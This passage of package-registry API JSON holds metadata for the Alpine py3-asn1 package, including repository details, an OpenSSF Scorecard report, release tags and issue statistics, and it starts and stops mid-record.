Lecocq","email":"benoit@openbsd.org","url":null,"packages_count":118,"html_url":null,"role":null,"created_at":"2026-05-28T00:35:12.843Z","updated_at":"2026-05-28T00:35:12.843Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/maintainers/benoit@openbsd.org/packages"}],"registry":{"name":"openbsd-7.9-amd64","url":"https://cdn.openbsd.org/pub/OpenBSD/7.9/packages/amd64","ecosystem":"openbsd","default":true,"packages_count":11808,"maintainers_count":274,"namespaces_count":42,"keywords_count":23,"github":"openbsd","metadata":{"arch":"amd64","sqlports_version":"7.54","funded_packages_count":209},"icon_url":"https://github.com/openbsd.png","created_at":"2026-05-26T11:21:10.750Z","updated_at":"2026-08-21T05:00:06.610Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/openbsd-7.9-amd64/namespaces"}},{"id":10343689,"name":"py3-asn1","ecosystem":"alpine","description":"Python3 ASN1 library","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_number":"0.6.0-r1","last_synced_at":"2026-08-11T12:24:47.918Z","created_at":"2024-06-11T09:29:14.250Z","updated_at":"2026-08-15T09:21:24.944Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.20/community/x86_64/py3-asn1","install_command":"apk add py3-asn1","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.943Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-asn1?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.20","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-asn1","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-asn1","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-asn1/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-asn1/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-asn1/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-asn1/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-asn1/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-asn1/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/packages/py3-asn1/codemeta","maintainers":[{"uuid":"alpine@ptrcnull.me","login":null,"name":"team/rust","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=team/rust","packages_count":398,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=team/rust","role":null,"created_at":"2024-06-12T00:55:08.639Z","updated_at":"2024-06-12T00:55:08.639Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.20/maintainers/alpine@ptrcnull.me/packages"}],"registry":{"name":"alpine-v3.20","url":"https://pkgs.alpinelinux.org/packages?branch=v3.20","ecosystem":"alpine","default":false,"packages_count":24162,"maintainers_count":405,"namespaces_count":2,"keywords_count":4